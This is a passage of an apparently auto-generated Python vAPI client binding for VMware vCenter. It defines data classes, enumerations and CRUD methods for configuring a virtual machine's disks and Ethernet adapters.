attribute must be an identifier for the resource type:
``com.vmware.vcenter.StoragePolicy``. When methods return a value
of this class as a return value, the attribute will be an
identifier for the resource type:
``com.vmware.vcenter.StoragePolicy``.
"""
self.policy = policy
VapiStruct.__init__(self)
StoragePolicySpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.disk.storage_policy_spec', {
'policy': type.IdType(resource_types='com.vmware.vcenter.StoragePolicy'),
},
StoragePolicySpec,
False,
None))
class CreateSpec(VapiStruct):
"""
The ``Disk.CreateSpec`` class provides a specification for the
configuration of a newly-created virtual disk.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'IDE' : [('ide', False)],
'SCSI' : [('scsi', False)],
'SATA' : [('sata', False)],
}
),
]
def __init__(self,
type=None,
ide=None,
scsi=None,
sata=None,
backing=None,
new_vmdk=None,
):
"""
:type type: :class:`Disk.HostBusAdapterType` or ``None``
:param type: Type of host bus adapter to which the device should be attached.
If None, guest-specific default values will be used
:type ide: :class:`IdeAddressSpec` or ``None``
:param ide: Address for attaching the device to a virtual IDE adapter.
If None, the server will choose an available address; if none is
available, the request will fail.
:type scsi: :class:`ScsiAddressSpec` or ``None``
:param scsi: Address for attaching the device to a virtual SCSI adapter.
If None, the server will choose an available address; if none is
available, the request will fail.
:type sata: :class:`SataAddressSpec` or ``None``
:param sata: Address for attaching the device to a virtual SATA adapter.
If None, the server will choose an available address; if none is
available, the request will fail.
:type backing: :class:`Disk.BackingSpec` or ``None``
:param backing: Existing physical resource backing for the virtual disk. Exactly
one of ``backing`` or ``newVmdk`` must be specified.
If None, the virtual disk will not be connected to an existing
backing.
:type new_vmdk: :class:`Disk.VmdkCreateSpec` or ``None``
:param new_vmdk: Specification for creating a new VMDK backing for the virtual disk.
Exactly one of ``backing`` or ``newVmdk`` must be specified.
If None, a new VMDK backing will not be created.
"""
self.type = type
self.ide = ide
self.scsi = scsi
self.sata = sata
self.backing = backing
self.new_vmdk = new_vmdk
VapiStruct.__init__(self)
CreateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.disk.create_spec', {
'type': type.OptionalType(type.ReferenceType(__name__, 'Disk.HostBusAdapterType')),
'ide': type.OptionalType(type.ReferenceType(__name__, 'IdeAddressSpec')),
'scsi': type.OptionalType(type.ReferenceType(__name__, 'ScsiAddressSpec')),
'sata': type.OptionalType(type.ReferenceType(__name__, 'SataAddressSpec')),
'backing': type.OptionalType(type.ReferenceType(__name__, 'Disk.BackingSpec')),
'new_vmdk': type.OptionalType(type.ReferenceType(__name__, 'Disk.VmdkCreateSpec')),
},
CreateSpec,
False,
None))
class UpdateSpec(VapiStruct):
"""
The ``Disk.UpdateSpec`` class describes the updates to be made to the
configuration of a virtual disk.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
backing=None,
):
"""
:type backing: :class:`Disk.BackingSpec` or ``None``
:param backing: Physical resource backing for the virtual disk.
This attribute may only be modified if the virtual machine is not
powered on.
If None, the value is unchanged.
"""
self.backing = backing
VapiStruct.__init__(self)
UpdateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.disk.update_spec', {
'backing': type.OptionalType(type.ReferenceType(__name__, 'Disk.BackingSpec')),
},
UpdateSpec,
False,
None))
class Summary(VapiStruct):
"""
The ``Disk.Summary`` class contains commonly used information about a
virtual disk.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
disk=None,
):
"""
:type disk: :class:`str`
:param disk: Identifier of the virtual Disk.
When clients pass a value of this class as a parameter, the
attribute must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Disk``. When methods return a
value of this class as a return value, the attribute will be an
identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Disk``.
"""
self.disk = disk
VapiStruct.__init__(self)
Summary._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.disk.summary', {
'disk': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Disk'),
},
Summary,
False,
None))
def list(self,
vm,
):
"""
Returns commonly used information about the virtual disks belonging to
the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:rtype: :class:`list` of :class:`Disk.Summary`
:return: List of commonly used information about the virtual disks.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('list',
{
'vm': vm,
})
def get(self,
vm,
disk,
):
"""
Returns information about a virtual disk.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type disk: :class:`str`
:param disk: Virtual disk identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Disk``.
:rtype: :class:`Disk.Info`
:return: Information about the specified virtual disk.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual disk is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('get',
{
'vm': vm,
'disk': disk,
})
def create(self,
vm,
spec,
):
"""
Adds a virtual disk to the virtual machine. While adding the virtual
disk, a new VMDK file may be created or an existing VMDK file may be
used to back the virtual disk.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type spec: :class:`Disk.CreateSpec`
:param spec: Specification for the new virtual disk.
:rtype: :class:`str`
:return: Virtual disk identifier.
The return value will be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Disk``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if system reported that the disk device was created but was unable
to confirm the creation because the identifier of the new device
could not be determined.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is suspended or if the virtual machine is
powered on and virtual disk type is IDE.
:raise: :class:`com.vmware.vapi.std.errors_client.UnableToAllocateResource`
if the specified storage address is unavailable; for example, if
the SCSI adapter requested does not exist.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInUse`
if the specified storage address is in use.
:raise: :class:`com.vmware.vapi.std.errors_client.InvalidArgument`
if the specified storage address is out of bounds or if the
specified storage policy is invalid.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
:raise: :class:`com.vmware.vapi.std.errors_client.Unsupported`
if the guest operating system of the virtual machine is not
supported and spec includes None attributes that default to
guest-specific values.
"""
return self._invoke('create',
{
'vm': vm,
'spec': spec,
})
def update(self,
vm,
disk,
spec,
):
"""
Updates the configuration of a virtual disk. An update method can be
used to detach the existing VMDK file and attach another VMDK file to
the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type disk: :class:`str`
:param disk: Virtual disk identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Disk``.
:type spec: :class:`Disk.UpdateSpec`
:param spec: Specification for updating the virtual disk.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual disk is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if one or more of the attributes specified in the ``spec``
parameter cannot be modified due to the current power state of the
virtual machine or the connection state of the virtual disk.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('update',
{
'vm': vm,
'disk': disk,
'spec': spec,
})
def delete(self,
vm,
disk,
):
"""
Removes a virtual disk from the virtual machine. This method does not
destroy the VMDK file that backs the virtual disk. It only detaches the
VMDK file from the virtual machine. Once detached, the VMDK file will
not be destroyed when the virtual machine to which it was associated is
deleted.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type disk: :class:`str`
:param disk: Virtual disk identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Disk``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual disk is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is suspended or if the virtual machine is
powered on and virtual disk type is IDE.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('delete',
{
'vm': vm,
'disk': disk,
})
class Ethernet(VapiInterface):
"""
The ``Ethernet`` class provides methods for configuring the virtual
Ethernet adapters of a virtual machine.
"""
RESOURCE_TYPE = "com.vmware.vcenter.vm.hardware.Ethernet"
"""
Resource type for the virtual Ethernet adapter.
"""
_VAPI_SERVICE_ID = 'com.vmware.vcenter.vm.hardware.ethernet'
"""
Identifier of the service in canonical form.
"""
def __init__(self, config):
"""
:type config: :class:`vmware.vapi.bindings.stub.StubConfiguration`
:param config: Configuration to be used for creating the stub.
"""
VapiInterface.__init__(self, config, _EthernetStub)
self._VAPI_OPERATION_IDS = {}
class EmulationType(Enum):
"""
The ``Ethernet.EmulationType`` class defines the valid emulation types for
a virtual Ethernet adapter.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
E1000 = None
"""
E1000 ethernet adapter.
"""
E1000E = None
"""
E1000e ethernet adapter.
"""
PCNET32 = None
"""
AMD Lance PCNet32 Ethernet adapter.
"""
VMXNET = None
"""
VMware Vmxnet virtual Ethernet adapter.
"""
VMXNET2 = None
"""
VMware Vmxnet2 virtual Ethernet adapter.
"""
VMXNET3 = None
"""
VMware Vmxnet3 virtual Ethernet adapter.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`EmulationType` instance.
"""
Enum.__init__(string)
EmulationType._set_values([
EmulationType('E1000'),
EmulationType('E1000E'),
EmulationType('PCNET32'),
EmulationType('VMXNET'),
EmulationType('VMXNET2'),
EmulationType('VMXNET3'),
])
EmulationType._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.ethernet.emulation_type',
EmulationType))
class MacAddressType(Enum):
"""
The ``Ethernet.MacAddressType`` class defines the valid MAC address origins
for a virtual Ethernet adapter.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
MANUAL = None
"""
MAC address is assigned statically.
"""
GENERATED = None
"""
MAC address is generated automatically.
"""
ASSIGNED = None
"""
MAC address is assigned by vCenter Server.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`MacAddressType` instance.
"""
Enum.__init__(string)
MacAddressType._set_values([
MacAddressType('MANUAL'),
MacAddressType('GENERATED'),
MacAddressType('ASSIGNED'),
])
MacAddressType._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.ethernet.mac_address_type',
MacAddressType))
class BackingType(Enum):
"""
The ``Ethernet.BackingType`` class defines the valid backing types for a
virtual Ethernet adapter.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
STANDARD_PORTGROUP = None
"""
vSphere standard portgroup network backing.
"""
HOST_DEVICE = None
"""
Legacy host device network backing. Imported VMs may have virtual Ethernet
adapters with this type of backing, but this type of backing cannot be used
to create or to update a virtual Ethernet adapter.
"""
DISTRIBUTED_PORTGROUP = None
"""
Distributed virtual switch backing.
"""
OPAQUE_NETWORK = None
"""
Opaque network backing.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`BackingType` instance.
"""
Enum.__init__(string)
BackingType._set_values([
BackingType('STANDARD_PORTGROUP'),
BackingType('HOST_DEVICE'),
BackingType('DISTRIBUTED_PORTGROUP'),
BackingType('OPAQUE_NETWORK'),
])
BackingType._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.ethernet.backing_type',
BackingType))
class BackingInfo(VapiStruct):
"""
The ``Ethernet.BackingInfo`` class contains information about the physical
resource backing a virtual Ethernet adapter.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'STANDARD_PORTGROUP' : [('network', False), ('network_name', True)],
'DISTRIBUTED_PORTGROUP' : [('network', False), ('distributed_switch_uuid', True), ('distributed_port', False), ('connection_cookie', False)],
'OPAQUE_NETWORK' : [('network', False), ('opaque_network_type', True), ('opaque_network_id', True)],
'HOST_DEVICE' : [('host_device', True)],
}
),
]
def __init__(self,
type=None,
network=None,
network_name=None,
host_device=None,
distributed_switch_uuid=None,
distributed_port=None,
connection_cookie=None,
opaque_network_type=None,
opaque_network_id=None,
):
"""
:type type: :class:`Ethernet.BackingType`
:param type: Backing type for the virtual Ethernet adapter.
:type network: :class:`str` or ``None``
:param network: Identifier of the network backing the virtual Ethernet adapter.
When clients pass a value of this class as a parameter, the
attribute must be an identifier for the resource type: ``Network``.
When methods return a value of this class as a return value, the
attribute will be an identifier for the resource type: ``Network``.
If None, the identifier of the network backing could not be
determined.
:type network_name: :class:`str`
:param network_name: Name of the standard portgroup backing the virtual Ethernet
adapter.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Ethernet.BackingType.STANDARD_PORTGROUP`.
:type host_device: :class:`str`
:param host_device: Name of the device backing the virtual Ethernet adapter.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Ethernet.BackingType.HOST_DEVICE`.
:type distributed_switch_uuid: :class:`str`
:param distributed_switch_uuid: UUID of the distributed virtual switch that backs the virtual
Ethernet adapter.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Ethernet.BackingType.DISTRIBUTED_PORTGROUP`.
:type distributed_port: :class:`str` or ``None``
:param distributed_port: Key of the distributed virtual port that backs the virtual Ethernet
adapter.
This attribute will be None if the virtual Ethernet device is not
bound to a distributed virtual port; this can happen if the virtual
machine is powered off or the virtual Ethernet device is not
connected.
:type connection_cookie: :class:`long` or ``None``
:param connection_cookie: Server-generated cookie that identifies the connection to the port.
This ookie may be used to verify that the virtual machine is the
rightful owner of the port.
This attribute will be None if the virtual Ethernet device is not
bound to a distributed virtual port; this can happen if the virtual
machine is powered off or the virtual Ethernet device is not
connected.
:type opaque_network_type: :class:`str`
:param opaque_network_type: Type of the opaque network that backs the virtual Ethernet adapter.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Ethernet.BackingType.OPAQUE_NETWORK`.
:type opaque_network_id: :class:`str`
:param opaque_network_id: Identifier of the opaque network that backs the virtual Ethernet
adapter.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Ethernet.BackingType.OPAQUE_NETWORK`.
"""
self.type = type
self.network = network
self.network_name = network_name
self.host_device = host_device
self.distributed_switch_uuid = distributed_switch_uuid
self.distributed_port = distributed_port
self.connection_cookie = connection_cookie
self.opaque_network_type = opaque_network_type
self.opaque_network_id = opaque_network_id
VapiStruct.__init__(self)
BackingInfo._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.ethernet.backing_info', {
'type': type.ReferenceType(__name__, 'Ethernet.BackingType'),
'network': type.OptionalType(type.IdType()),
'network_name': type.OptionalType(type.StringType()),
'host_device': type.OptionalType(type.StringType()),
'distributed_switch_uuid': type.OptionalType(type.StringType()),
'distributed_port': type.OptionalType(type.StringType()),
'connection_cookie': type.OptionalType(type.IntegerType()),
'opaque_network_type': type.OptionalType(type.StringType()),
'opaque_network_id': type.OptionalType(type.StringType()),
},
BackingInfo,
False,
None))
class BackingSpec(VapiStruct):
"""
The ``Ethernet.BackingSpec`` class provides a specification of the physical
resource that backs a virtual Ethernet adapter.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'STANDARD_PORTGROUP' : [('network', True)],
'DISTRIBUTED_PORTGROUP' : [('network', True), ('distributed_port', False)],
'OPAQUE_NETWORK' : [('network', True)],
'HOST_DEVICE' : [],
}
),
]
def __init__(self,
type=None,
network=None,
distributed_port=None,
):
"""
:type type: :class:`Ethernet.BackingType`
:param type: Backing type for the virtual Ethernet adapter.
:type network: :class:`str`
:param network: Identifier of the network that backs the virtual Ethernet adapter.
When clients pass a value of this class as a parameter, the
attribute must be an identifier for the resource type: ``Network``.
When methods return a value of this class as a return value, the
attribute will be an identifier for the resource type: ``Network``.
This attribute is optional and it is only relevant when the value
of ``type`` is one of
:attr:`Ethernet.BackingType.STANDARD_PORTGROUP`,
:attr:`Ethernet.BackingType.DISTRIBUTED_PORTGROUP`, or
:attr:`Ethernet.BackingType.OPAQUE_NETWORK`.
:type distributed_port: :class:`str` or ``None``
:param distributed_port: Key of the distributed virtual port that backs the virtual Ethernet
adapter. Depending on the type of the Portgroup, the port may be
specified using this field. If the portgroup type is early-binding
(also known as static), a port is assigned when the Ethernet
adapter is configured to use the port. The port may be either
automatically or specifically assigned based on the value of this
attribute. If the portgroup type is ephemeral, the port is created
and assigned to a virtual machine when it is powered on and the
Ethernet adapter is connected. This attribute cannot be specified
as no free ports exist before use.
May be used to specify a port when the network specified on the
``network`` attribute is a static or early binding distributed
portgroup. If None, the port will be automatically assigned to the
Ethernet adapter based on the policy embodied by the portgroup
type.
"""
self.type = type
self.network = network
self.distributed_port = distributed_port
VapiStruct.__init__(self)
BackingSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.ethernet.backing_spec', {
'type': type.ReferenceType(__name__, 'Ethernet.BackingType'),
'network': type.OptionalType(type.IdType()),
'distributed_port': type.OptionalType(type.StringType()),
},
BackingSpec,
False,
None))
class Info(VapiStruct):
"""
The ``Ethernet.Info`` class contains information about a virtual Ethernet
adapter.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'VMXNET3' : [('upt_compatibility_enabled', True)],
'E1000' : [],
'E1000E' : [],
'PCNET32' : [],
'VMXNET' : [],
'VMXNET2' : [],
}
),
]
def __init__(self,
label=None,
type=None,
upt_compatibility_enabled=None,
mac_type=None,
mac_address=None,
pci_slot_number=None,
wake_on_lan_enabled=None,
backing=None,
state=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type label: :class:`str`
:param label: Device label.
:type type: :class:`Ethernet.EmulationType`
:param type: Ethernet adapter emulation type.
:type upt_compatibility_enabled: :class:`bool`
:param upt_compatibility_enabled: Flag indicating whether Universal Pass-Through (UPT) compatibility
is enabled on this virtual Ethernet adapter.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Ethernet.EmulationType.VMXNET3`.
:type mac_type: :class:`Ethernet.MacAddressType`
:param mac_type: MAC address type.
:type mac_address: :class:`str` or ``None``
:param mac_address: MAC address.
May be None if :attr:`Ethernet.Info.mac_type` is
:attr:`Ethernet.MacAddressType.MANUAL` and has not been specified,
or if :attr:`Ethernet.Info.mac_type` is
:attr:`Ethernet.MacAddressType.GENERATED` and the virtual machine
has never been powered on since the Ethernet adapter was created.
:type pci_slot_number: :class:`long` or ``None``
:param pci_slot_number: Address of the virtual Ethernet adapter on the PCI bus. If the PCI
address is invalid, the server will change it when the VM is
started or as the device is hot added.
May be None if the virtual machine has never been powered on since
the adapter was created.
:type wake_on_lan_enabled: :class:`bool`
:param wake_on_lan_enabled: Flag indicating whether wake-on-LAN is enabled on this virtual
Ethernet adapter.
:type backing: :class:`Ethernet.BackingInfo`
:param backing: Physical resource backing for the virtual Ethernet adapter.
:type state: :class:`ConnectionState`
:param state: Connection status of the virtual device.
:type start_connected: :class:`bool`
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
:type allow_guest_control: :class:`bool`
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
"""
self.label = label
self.type = type
self.upt_compatibility_enabled = upt_compatibility_enabled
self.mac_type = mac_type
self.mac_address = mac_address
self.pci_slot_number = pci_slot_number
self.wake_on_lan_enabled = wake_on_lan_enabled
self.backing = backing
self.state = state
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
Info._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.ethernet.info', {
'label': type.StringType(),
'type': type.ReferenceType(__name__, 'Ethernet.EmulationType'),
'upt_compatibility_enabled': type.OptionalType(type.BooleanType()),
'mac_type': type.ReferenceType(__name__, 'Ethernet.MacAddressType'),
'mac_address': type.OptionalType(type.StringType()),
'pci_slot_number': type.OptionalType(type.IntegerType()),
'wake_on_lan_enabled': type.BooleanType(),
'backing': type.ReferenceType(__name__, 'Ethernet.BackingInfo'),
'state': type.ReferenceType(__name__, 'ConnectionState'),
'start_connected': type.BooleanType(),
'allow_guest_control': type.BooleanType(),
},
Info,
False,
None))
class CreateSpec(VapiStruct):
"""
The ``Ethernet.CreateSpec`` class provides a specification for the
configuration of a newly-created virtual Ethernet adapter.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'VMXNET3' : [('upt_compatibility_enabled', False)],
'E1000' : [],
'E1000E' : [],
'PCNET32' : [],
'VMXNET' : [],
'VMXNET2' : [],
}
),
UnionValidator(
'mac_type',
{
'MANUAL' : [('mac_address', True)],
'GENERATED' : [],
'ASSIGNED' : [],
}
),
]
def __init__(self,
type=None,
upt_compatibility_enabled=None,
mac_type=None,
mac_address=None,
pci_slot_number=None,
wake_on_lan_enabled=None,
backing=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type type: :class:`Ethernet.EmulationType` or ``None``
:param type: Ethernet adapter emulation type.
If None, defaults to a guest-specific type.
:type upt_compatibility_enabled: :class:`bool` or ``None``
:param upt_compatibility_enabled: Flag indicating whether Universal Pass-Through (UPT) compatibility
is enabled on this virtual Ethernet adapter.
If None, defaults to false.
:type mac_type: :class:`Ethernet.MacAddressType` or ``None``
:param mac_type: MAC address type.
If None, defaults to :attr:`Ethernet.MacAddressType.GENERATED`.
:type mac_address: :class:`str`
:param mac_address: MAC address.
Workaround for PR1459647
:type pci_slot_number: :class:`long` or ``None``
:param pci_slot_number: Address of the virtual Ethernet adapter on the PCI bus. If the PCI
address is invalid, the server will change when it the VM is
started or as the device is hot added.
If None, the server will choose an available address when the
virtual machine is powered on.
:type wake_on_lan_enabled: :class:`bool` or ``None``
:param wake_on_lan_enabled: Flag indicating whether wake-on-LAN is enabled on this virtual
Ethernet adapter.
Defaults to false if None.
:type backing: :class:`Ethernet.BackingSpec` or ``None``
:param backing: Physical resource backing for the virtual Ethernet adapter.
If None, the system may try to find an appropriate backing. If one
is not found, the request will fail.
:type start_connected: :class:`bool` or ``None``
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
Defaults to false if None.
:type allow_guest_control: :class:`bool` or ``None``
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
Defaults to false if None.
"""
self.type = type
self.upt_compatibility_enabled = upt_compatibility_enabled
self.mac_type = mac_type
self.mac_address = mac_address
self.pci_slot_number = pci_slot_number
self.wake_on_lan_enabled = wake_on_lan_enabled
self.backing = backing
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
CreateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.ethernet.create_spec', {
'type': type.OptionalType(type.ReferenceType(__name__, 'Ethernet.EmulationType')),
'upt_compatibility_enabled': type.OptionalType(type.BooleanType()),
'mac_type': type.OptionalType(type.ReferenceType(__name__, 'Ethernet.MacAddressType')),
'mac_address': type.OptionalType(type.StringType()),
'pci_slot_number': type.OptionalType(type.IntegerType()),
'wake_on_lan_enabled': type.OptionalType(type.BooleanType()),
'backing': type.OptionalType(type.ReferenceType(__name__, 'Ethernet.BackingSpec')),
'start_connected': type.OptionalType(type.BooleanType()),
'allow_guest_control': type.OptionalType(type.BooleanType()),
},
CreateSpec,
False,
None))
class UpdateSpec(VapiStruct):
"""
The ``Ethernet.UpdateSpec`` class describes the updates to be made to the
configuration of a virtual Ethernet adapter.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
upt_compatibility_enabled=None,
mac_type=None,
mac_address=None,
wake_on_lan_enabled=None,
backing=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type upt_compatibility_enabled: :class:`bool` or ``None``
:param upt_compatibility_enabled: Flag indicating whether Universal Pass-Through (UPT) compatibility
should be enabled on this virtual Ethernet adapter.
This attribute may be modified at any time, and changes will be
applied the next time the virtual machine is powered on.
If None, the value is unchanged. Must be None if the emulation type
of the virtual Ethernet adapter is not
:attr:`Ethernet.EmulationType.VMXNET3`.
:type mac_type: :class:`Ethernet.MacAddressType` or ``None``
:param mac_type: MAC address type.
This attribute may be modified at any time, and changes will be
applied the next time the virtual machine is powered on.
If None, the value is unchanged.
:type mac_address: :class:`str` or ``None``
:param mac_address: MAC address.
This attribute may be modified at any time, and changes will be
applied the next time the virtual machine is powered on.
If None, the value is unchanged. Must be specified if
:attr:`Ethernet.UpdateSpec.mac_type` is
:attr:`Ethernet.MacAddressType.MANUAL`. Must be None if the MAC
address type is not :attr:`Ethernet.MacAddressType.MANUAL`.
:type wake_on_lan_enabled: :class:`bool` or ``None``
:param wake_on_lan_enabled: Flag indicating whether wake-on-LAN shoud be enabled on this
virtual Ethernet adapter.
This attribute may be modified at any time, and changes will be
applied the next time the virtual machine is powered on.
If None, the value is unchanged.
:type backing: :class:`Ethernet.BackingSpec` or ``None``
:param backing: Physical resource backing for the virtual Ethernet adapter.
This attribute may be modified at any time, and changes will be
applied the next time the virtual machine is powered on.
If None, the value is unchanged.
:type start_connected: :class:`bool` or ``None``
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
If None, the value is unchanged.
:type allow_guest_control: :class:`bool` or ``None``
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
If None, the value is unchanged.
"""
self.upt_compatibility_enabled = upt_compatibility_enabled
self.mac_type = mac_type
self.mac_address = mac_address
self.wake_on_lan_enabled = wake_on_lan_enabled
self.backing = backing
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
UpdateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.ethernet.update_spec', {
'upt_compatibility_enabled': type.OptionalType(type.BooleanType()),
'mac_type': type.OptionalType(type.ReferenceType(__name__, 'Ethernet.MacAddressType')),
'mac_address': type.OptionalType(type.StringType()),
'wake_on_lan_enabled': type.OptionalType(type.BooleanType()),
'backing': type.OptionalType(type.ReferenceType(__name__, 'Ethernet.BackingSpec')),
'start_connected': type.OptionalType(type.BooleanType()),
'allow_guest_control': type.OptionalType(type.BooleanType()),
},
UpdateSpec,
False,
None))
class Summary(VapiStruct):
"""
The ``Ethernet.Summary`` class contains commonly used information about a
virtual Ethernet adapter.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
nic=None,
):
"""
:type nic: :class:`str`
:param nic: Identifier of the virtual Ethernet adapter.
